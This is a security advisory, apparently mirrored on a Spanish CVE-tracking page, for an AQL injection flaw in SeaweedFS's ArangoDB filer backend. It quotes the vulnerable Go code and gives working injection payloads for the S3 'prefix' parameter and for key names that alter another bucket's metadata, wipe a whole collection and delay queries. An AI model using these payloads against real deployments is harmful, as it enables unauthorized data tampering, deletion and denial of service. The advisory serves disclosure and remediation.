GHSA-3883-FR8H-XRQG
ArangoDB AQL Injection in S3 Listing and Recursive Deletion
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-3883-FR8H-XRQG divulgada · CVSS 9.9 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The ArangoDB filer backend builds AQL queries by concatenating S3-controlled values such as `prefix`, `marker`, and filer paths directly into the query text. An authenticated S3 user with permission to list one bucket can inject an AQL subquery that modifies metadata in another bucket's ArangoDB collection, bypassing S3 bucket authorization. The same vulnerability also allows bucket-wide metadata deletion and query-delay denial of service.
### Details
In `weed/filer/arangodb/arangodb_store.go`, `ListDirectoryPrefixedEntries` inserts `startFileName` and `prefix` directly into AQL:
if includeStartFile {
query = query + " filter d.name >= \"" + startFileName + "\" "
} else {
query = query + " filter d.name > \"" + startFileName + "\" "
}
if prefix != "" {
query = query + fmt.Sprintf(`&& starts_with(d.name, "%s")`, prefix)
}The resulting query is executed with only `dirPath` supplied as a bind variable:
cur, err := store.database.Query(ctx, query, map[string]interface{}{"dir": dirPath})The `prefix` value is inside the second argument of `starts_with`, but it is not escaped. A value such as:
x" && false || (FOR q IN `injdel` LIMIT 1 UPDATE q WITH {poc:"BYPASS_DENY"} IN `injdel` RETURN "") || "produces an AQL expression equivalent to:
starts_with(
d.name,
"x" && false ||
(FOR q IN `injdel`
LIMIT 1
UPDATE q WITH {poc: "BYPASS_DENY"} IN `injdel`
RETURN "")
|| ""
)ArangoDB executes the injected subquery before the S3 listing completes. The subquery is not subject to S3 authorization because it runs with the filer’s configured ArangoDB credentials.
The recursive-delete path has the same issue. `DeleteFolderChildren` interpolates `fullpath` twice into an AQL `REMOVE` query:
query = query + fmt.Sprintf(`
for d in %s
filter starts_with(d.directory, "%s/") || d.directory == "%s"
remove d._key in %s`,
"`"+targetCollection.Name()+"`",
strings.Join(strings.Split(string(fullpath), "/"), ","),
string(fullpath),
"`"+targetCollection.Name()+"`",
)Trailing-slash S3 keys reach this code through `deleteDirectoryMarker`, which recursively removes stale `.versions` history.
### PoC
Deployment: SeaweedFS `30GB 4.41` with an ArangoDB-backed filer on port `8888` and S3 on port `8333`.
The `alice` identity had no `Admin` action. A temporary bucket policy denied Alice all S3 access to `injdel`:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:*",
"Resource": [
"arn:aws:s3:::injdel",
"arn:aws:s3:::injdel/*"
]
}]
}Alice's normal request was denied:
GET /injdel/foo%22
→ 403 AccessDeniedAlice then sent a normal authenticated `ListBucket` request to `injtest` with this URL-decoded `prefix`:
x" && false || (FOR q IN `injdel` LIMIT 1 UPDATE q WITH {poc:"BYPASS_DENY"} IN `injdel` RETURN "") || "The request returned a successful S3 listing:
GET /injtest?list-type=2&prefix=<payload>
→ 200 OKThe supposedly inaccessible `injdel` collection was modified:
{"name":"foo\"","poc":"BYPASS_DENY"}Destructive variant
Using the same non-admin identity, create these keys in `injtest`:
x" || true || "/.versions/old
x" || true || "/Delete the trailing-slash marker:
DELETE /injtest/x%22%20%7C%7C%20true%20%7C%7C%20%22/
→ 204 No ContentThe `injtest` ArangoDB collection contained 15 metadata documents before the request and zero afterward, including unrelated objects.
Query-delay variant
This list prefix was accepted by the S3 API:
x" && false || TO_STRING(SLEEP(1)) && false || "With three objects in the directory, the listing returned `200` after approximately three seconds. An unbalanced quote such as `x"` produced an S3 `500 InternalError`.
### Impact
An authenticated S3 user with list access to any bucket can execute AQL writes through the listing endpoint and modify another bucket's metadata without authorization. This can change fields such as `directory`, `name`, `meta`, and `ttl`, potentially hiding or corrupting objects. The recursive-delete variant can remove every metadata document in a bucket collection, and the `SLEEP()` variant can consume filer and ArangoDB request capacity.
The filer HTTP delete endpoint is also unauthenticated by default, so deployments exposing the filer service increase the attack surface.
### Fix
The fix is to use AQL bind variables for every request-controlled value, including `prefix`, `startFileName`, `fullpath`, and dynamic collection names (`@@collection`). Do not concatenate user input into AQL query text. Restrict the ArangoDB account to the intended database/collections and protect filer HTTP/gRPC management endpoints with authentication and network isolation. Add regression tests containing quotes, newlines, AQL operators, subqueries, and `SLEEP()` in S3 list and recursive-delete inputs.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-3883-fr8h-xrqgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
